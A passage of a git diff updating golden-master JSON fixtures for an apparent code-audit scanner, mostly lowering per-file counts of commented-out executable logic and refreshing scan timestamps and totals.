Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719895,7 +719895,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720073,7 +720073,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720261,7 +720261,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720429,7 +720429,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720627,7 +720627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721421,7 +721421,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721979,7 +721979,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722325,7 +722325,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722523,7 +722523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722736,7 +722736,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722906,7 +722906,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723086,7 +723086,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723304,7 +723304,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723472,7 +723472,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723640,7 +723640,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723808,7 +723808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723976,7 +723976,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724154,7 +724154,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724922,7 +724922,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725300,7 +725300,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725718,7 +725718,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -726808,7 +726808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764041,7 +764041,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764501,7 +764501,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764939,7 +764939,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, diff --git a/tests/golden_master_zero_dep_audit.json b/tests/golden_master_zero_dep_audit.json index 61b93485e..8fad6df23 100644 --- a/tests/golden_master_zero_dep_audit.json +++ b/tests/golden_master_zero_dep_audit.json @@ -12,8 +12,8 @@ }, "Target Root Name": "data", "Absolute Project Path": "/srv/storage_16tb/projects/gitgalaxy/language-crucible/data", - "Analysis ISO Timestamp": "2026-08-31T00:41:28.216794+00:00", - "Total Scan Duration": "18.5 seconds" + "Analysis ISO Timestamp": "2026-08-31T01:42:56.475533+00:00", + "Total Scan Duration": "18.58 seconds" }, "Source Control Footprint (Immutable Anchor)": { "Active Branch": "HEAD", @@ -6069,7 +6069,7 @@ "Network & I/O Exfiltration Vectors": 136, "Prototype Pollution & Global State Flux": 25, "Obfuscation & Encoding Signatures": 1488, - "Commented-out Executable Logic (Shadow Logic)": 635, + "Commented-out Executable Logic (Shadow Logic)": 544, "Low-Level Cryptographic & Bitwise Operations": 0, "Steganographic Payload Imports": 4, "Unicode Homoglyphs & Typosquatting": 11, @@ -435510,7 +435510,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -435848,7 +435848,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436208,7 +436208,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436449,7 +436449,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436627,7 +436627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437817,7 +437817,7 @@ "External Network & I/O Hooks": 2, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 10, + "Commented-Out Executable Logic": 9, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437997,7 +437997,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438257,7 +438257,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438425,7 +438425,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438593,7 +438593,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438761,7 +438761,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438969,7 +438969,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439321,7 +439321,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439523,7 +439523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439691,7 +439691,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439879,7 +439879,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440210,7 +440210,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440500,7 +440500,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440678,7 +440678,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440856,7 +440856,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441024,7 +441024,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441192,7 +441192,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441362,7 +441362,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -547308,7 +547308,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -548594,7 +548594,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549258,7 +549258,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549866,7 +549866,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -550212,7 +550212,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551022,7 +551022,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551383,7 +551383,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 6, + "Commented-Out Executable Logic": 5, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552315,7 +552315,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552753,7 +552753,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 8, + "Commented-Out Executable Logic": 7, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554404,7 +554404,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554572,7 +554572,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -576679,7 +576679,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -580777,7 +580777,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581693,7 +581693,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581971,7 +581971,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 7, + "Commented-Out Executable Logic": 6, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582191,7 +582191,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582369,7 +582369,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582567,7 +582567,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582995,7 +582995,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -583173,7 +583173,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -662885,7 +662885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -668215,7 +668215,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685378,7 +685378,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685556,7 +685556,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685902,7 +685902,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -686090,7 +686090,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687190,7 +687190,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687704,7 +687704,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -688070,7 +688070,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717509,7 +717509,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717687,7 +717687,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717885,7 +717885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718055,7 +718055,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718253,7 +718253,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, 